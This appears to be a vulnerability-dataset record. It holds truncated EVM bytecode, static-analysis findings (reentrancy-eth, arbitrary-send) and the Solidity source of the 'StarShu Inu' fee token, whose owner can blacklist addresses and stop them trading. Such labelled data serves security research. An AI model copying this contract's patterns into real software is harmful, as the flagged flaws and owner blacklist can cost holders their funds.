161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201378e6d0049fbd8ecf54fd1696ef38c5f7489b96b0ff78bf8e5ed78ad042d38164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,891
0x1683c15ed1def06722160376021f3d1be017568c
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ /** *StarShu Inu * lock Lp 30days */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract StarShuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "StarShu Inu"; string private constant _symbol = "$STAR"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xEFE3b9De3E095ca7bcF9eb7D5037B06606084761); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; _maxWalletSize = 6000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600b81526020017f5374617253687520496e75000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b5